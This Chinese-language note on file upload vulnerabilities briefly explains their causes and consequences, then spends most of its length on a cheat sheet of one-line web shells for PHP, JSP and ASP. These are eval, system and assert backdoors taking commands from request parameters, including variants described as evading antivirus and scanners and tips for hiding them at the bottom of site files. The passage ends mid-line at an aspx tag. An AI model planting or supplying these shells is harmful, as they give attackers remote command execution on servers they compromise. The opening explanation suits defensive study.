知識點
產生文件上傳漏洞的原因
原因:
對于上傳文件的后綴名(擴展名)沒有做較為嚴格的限制
對于上傳文件的MIMETYPE(用于描述文件的類型的一種表述方法) 沒有做檢查
權限上沒有對于上傳的文件目錄設置不可執行權限,(尤其是對于shebang類型的文件)
對于web server對于上傳文件或者指定目錄的行為沒有做限制
原理:
在 WEB 中進行文件上傳的原理是通過將表單設為 multipart/form-data,同時加入文件域,而后通過 HTTP 協議將文件內容發送到服務器,服務器端讀取這個分段 (multipart) 的數據信息,并將其中的文件內容提取出來并保存的。通常,在進行文件保存的時候,服務器端會讀取文件的原始文件名,并從這個原始文件名中得出文件的擴展名,而后隨機為文件起一個文件名 ( 為了防止重復 ),并且加上原始文件的擴展名來保存到服務器上
文件上傳后導致的常見安全問題一般有:
上傳文件是Web腳本語言,服務器的Web容器解釋并執行了用戶上傳的腳本,導致代
碼執行;
上傳文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在該域下的行為(其
他通過類似方式控制策略文件的情況類似);
上傳文件是病毒、木馬文件,黑客用以誘騙用戶或者管理員下載執行:
上傳文件是釣魚圖片或為包含了腳本的圖片,在某些版本的瀏覽器中會被作為腳本執
行,被用于釣魚和欺詐。
除此之外,還有一些不常見的利用方法,比如將上傳文件作為一個入口,溢出服務器的后臺處理程序,如圖片解析模塊;或者上傳-一個合法的文本文件, 其內容包含了PHP腳本,再通過“本地文件包含漏洞(Local File Include)"執行此腳本;等等。此類問題不在此細述。
常用的一句話木馬
##PHP:
<?php @eval($_POST['r00ts']);?>
<?php phpinfo();?>
<?php @eval($_POST[cmd]);?>
<?php @eval($_REQUEST[cmd]);?>
<?php assert($_REQUEST[cmd]); ?>
<?php //?cmd=phpinfo() @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd"); ?>
<?php
//?cmd=phpinfo();
$func =create_function('',$_REQUEST['cmd']);
$func();
?><?php
//?func=system&cmd=whoami
$func=$_GET['func'];
$cmd=$_GET['cmd'];
$array[0]=$cmd;
$new_array=array_map($func,$array);
//print_r($new_array);
?><?php
//?cmd=phpinfo()
@call_user_func(assert,$_GET['cmd']);
?><?php
//?cmd=phpinfo()
$cmd=$_GET['cmd'];
$array[0]=$cmd;
call_user_func_array("assert",$array);
?><?php
//?func=system&cmd=whoami
$cmd=$_GET['cmd'];
$array1=array($cmd);
$func =$_GET['func'];
array_filter($array1,$func);
?><?php usort($_GET,'asse'.'rt');?> php環境>=<5.6才能用
<?php usort(...$_GET);?> php環境>=5.6才能用
<?php eval($_POST1);?>
<?php if(isset($_POST['c'])){eval($_POST['c']);}?>
<?php system($_REQUEST1);?>
<?php ($_=@$_GET1).@$_($_POST1)?>
<?php eval_r($_POST1)?>
<?php @eval_r($_POST1)?>//容錯代碼
<?php assert($_POST1);?>//使用Lanker一句話客戶端的專家模式執行相關的PHP語句
<?$_POST['c']($_POST['cc']);?>
<?$_POST['c']($_POST['cc'],$_POST['cc'])?>
<?php @preg_replace("/[email]/e",$_POST['h'],"error");?>/*使用這個后,使用菜刀一句話客戶端在配置連接的時候在"配置"一欄輸入*/:<O>h=@eval_r($_POST1);</O>
<?php echo `$_GET['r']` ?> <script language="php">@eval_r($_POST[sb])</script> //繞過<?限制的一句話<?php (])?> 上面這句是防殺防掃的!網上很少人用!可以插在網頁任何ASP文件的最底部不會出錯,比如 index.asp里面也是可以的!<?if(isset($_POST['1'])){eval($_POST['1']);}?><?php system ($_REQUEST[1]);?>
加了判斷的PHP一句話,與上面的ASP一句話相同道理,也是可以插在任何PHP文件 的最底部不會出錯!<%execute request(“class”)%><%'<% loop <%:%><%'<% loop <%:%><%execute request (“class”)%><%execute request(“class”)'<% loop <%:%>
無防下載表,有防下載表可嘗試插入以下語句突破的一句話 <%eval(request(“1″)):response.end%> 備份專用
##JSP:
<%if(request.getParameter("f")!=null)(newjava.io.FileOutputStream (application.getRealPath("\\")+request.getParameter("f"))).write (request.getParameter("t").getBytes());%>
提交客戶端
<form action="" method="post"><textareaname="t"></textarea><br/><input type="submit"value="提交"></form>
##ASP
<%eval(Request.Item["r00ts"],”unsafe”);%><%IfRequest(“1″)<>”"ThenExecuteGlobal(Request(“1″))%> <%execute(request(“1″))%> <scriptrunat=server>execute request(“1″)</script> 不用'<,>‘的asp一句話
##aspx
<scriptrunat=”server”>